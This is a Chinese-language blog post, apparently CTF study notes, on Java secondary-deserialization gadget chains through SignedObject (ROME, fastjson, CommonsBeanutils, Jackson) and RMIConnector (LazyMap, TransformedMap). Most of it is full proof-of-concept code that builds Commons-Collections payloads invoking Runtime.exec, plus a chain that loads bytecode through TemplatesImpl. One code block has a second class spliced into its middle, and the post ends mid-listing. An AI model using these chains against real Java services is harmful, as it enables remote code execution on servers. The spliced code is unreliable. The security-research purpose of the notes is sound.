JAVA二次反序列化学习

学二次反序列化

SignedObject

在SignedObject存在一个getobject方法

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

这里存在一个反序列化的操作,可以将恶意的反序列化内容存放在这个b里面触发二次反序列化

我们看看这个类的构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);

// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();

// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}

这个类里面将一个待序列化的类传入里面,然后输出,需要的参数包括需要二次序列化的类,加密的密钥,加密的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.twice.SignedObject;

import java.io.IOException;
import java.io.Serializable;
import java.security.*;

public class test {
public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject test =new SignedObject((Serializable) new test_test(),kp.getPrivate(), Signature.getInstance("DSA"));
}
}
class test_test implements Serializable {
//恶意内容
}

如果能触发这个getobject函数,就能反序列化里面的内容

rome_SignedObject

利用rome链子里面触发get方法,可以触发这个getobject函数

poc

以cc6作为内置的rce链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example.twice.SignedObject;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject test =new SignedObject((Serializable) payload(),kp.getPrivate(), Signature.getInstance("DSA"));

ToStringBean toStringBean = new ToStringBean(SignedObject.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
Field filed =toStringBean.getClass().getDeclaredField("_obj");
filed.setAccessible(true);
filed.set(toStringBean,test);
// serialize(hashMap);
unserialize("bin.ser");
}

public static Object payload() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功rce

image-20240229145125790

这里使用的equalsBean也可以使用到其他的类代替,包括Objectbean

fastjson_Signedobject

我们再看看这个函数

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

完美符合触发这个fastjson的要求

我们可以利用fastjson触发这个方法

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example.twice.SignedObject;

import com.alibaba.fastjson.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class fastjson_signedObject {
public static void main(String []args) throws IllegalAccessException, NoSuchAlgorithmException, NoSuchFieldException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),//解决Runtime不继承序列化接口问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> objectHashMap=new HashMap<>();
objectHashMap.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class lazyMap_class=LazyMap.class;
Field factory=lazyMap_class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(objectHashMap, kp.getPrivate(), Signature.getInstance("DSA"));

JSONArray jsonArray = new JSONArray();
jsonArray.add(signedObject);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

image-20240229205633221

fastjson->fastjson#tostring->getobject

CommonsBeanutils_signedobject

在CommonsBeanutils里面的compare存在这样一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (Exception var5) {
throw new ClassCastException(var5.toString());
}
}
}

这里可以调用任意get方法,正好能调用我们的getobject方法,序列化相关的内容

poc

实际上的攻击载荷payload还是cc6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
package org.example.twice.SignedObject;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;

public class rome_CommonsBeanutils_signedobject {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

PriorityQueue queue1 = getpayload(obj, "outputProperties");

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

PriorityQueue queue2 = getpayload(signedObject, "object");
serialize(queue2);
unserialize("ser.bin");

}

public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQuepackage org.example.twice.SignedObject;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class rome_CB_signedobject {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

PriorityQueue queue1 = getpayload(obj, "outputProperties");

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) cc_payload(), kp.getPrivate(), Signature.getInstance("DSA"));

PriorityQueue queue2 = getpayload(signedObject, "object");
serialize(queue2);
unserialize("ser.bin");

}

public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator, "property", string);
setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
public static Object serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
return obj;
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static Object cc_payload() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
}ue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator, "property", string);
setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
public static Object serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
return obj;
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调用栈

image-20240229211852289

compare->getProperty->getobject->unserialize

jackson_signedobject

1
2
3
4
5
6
7
8
9
10
11

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) payload(), kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode1=new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",pojoNode1);
serialize(badAttributeValueExpException);
unserialize("bin.ser") ;

需要重写BaseJsonNode类,并且把里面的writeReplace注释掉

RMIConnector

在javax.management.remote.rmi.RMIConnector里面存在这样一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
// could forbid "iiop:" URL here -- but do we need to?
final byte[] serialized;
try {
serialized = base64ToByteArray(base64);
} catch (IllegalArgumentException e) {
throw new MalformedURLException("Bad BASE64 encoding: " +
e.getMessage());
}
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();
} catch (ClassNotFoundException e) {
throw new MalformedURLException("Class not found: " + e);
}
return (RMIServer)stub;
}

将传入的base64的值解码,然后进行反序列化

寻找调用了这个函数的方法

注意到在findRMIServer函数里面调用了这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment)
throws NamingException, IOException {
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
if (isIiop) {
// Make sure java.naming.corba.orb is in the Map.
environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
}

String path = directoryURL.getURLPath();
int end = path.indexOf(';');
if (end < 0) end = path.length();
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/stub/"))
return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/ior/")) {
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");
return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
} else {
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}

传入的参数directoryURL,如果以“/stub/”6个字符为开头,就会把这个内容传入我们上面的findRMIServerJRMP函数里面

查看findRMIServer函数的调用,注意到在connect函数中调用了这个方法

image-20240301112526484

如果能调用这个connect方法,我们就可以执行二次反序列化

Lazymap_RMIconnect

在InvokerTransformer存在任意方法调用,可以利用这个方法调用connect

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example.twice.RMIconnector;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc_RMIconnect {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}

public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//储存在rmiConnector的rmiConnection中
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(rmiConnector);
//构造了一个lazymap的任意方法构造,调用connect
setFieldValue(lazyMap,"factory", invokerTransformer);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();


//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

调用链如下

image-20240301142446978

TransformedMap_RMIConnector

这条链子的原型来自sictf2024的一道java题,过滤了lazymap,需要使用TransformedMap直接任意方法调用connect方法完成二次反序列化

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package org.example.twice.RMIconnector;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationHandler;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map outmap = TransformedMap.decorate(map, null,chainedTransformer);
outmap.put("test","text");
//Runtime.getRuntime().exec("");
Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class,outmap);


serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}



public static void setFieldValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
}

分析

这是我一开始写的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
     ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map outmap = TransformedMap.decorate(map, null, new ConstantTransformer(invokerTransformer));

Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class,outmap);

显然是错误的,我们构造的恶意对象和connect并没有同时传入的位置。

我们先看看cc1不用lazymap的调用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc1_un_lazymap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),//通过反射的方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxxx");


Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class,outerMap);
//序列化



ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
//反序列化
ByteArrayInputStream bain = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bain);
ois.readObject();
ois.close();
}

}

在checkSetValue方法里面,调用了valueTransformer.transform

image-20240303150611175

然后会进入ChainedTransformer方法,一个个取出来遍历

image-20240303150712997

逐个取出里面的内容,第一个调用的是ConstantTransformer的transform方法,直接返还了里面的内容

image-20240303151028755

第二次用的是InvokerTransformer方法,取出了getRuntime,通过反射获取了getRuntime,

image-20240303151258417

返还了Runtime.getruntime,

image-20240303151402210

后面就是一次次传入组合,直到获取到clac执行,Method执行命令

注意到这个过程全部都是由ChainedTransformer的transform执行的,所以我们可以利用ChainedTransformer构造一个数组去执行

构造这样一个ChainedTransformer数组

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

第一步同样是取出了我们构造的RMIConnector类

第二步取出了我们的connect函数,运行了connect方法

image-20240303155652741

SICTF-Round3 - Zer0peach can’t think师傅哪里看到了另外一种写法

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package org.example.twice.RMIconnector;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationHandler;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

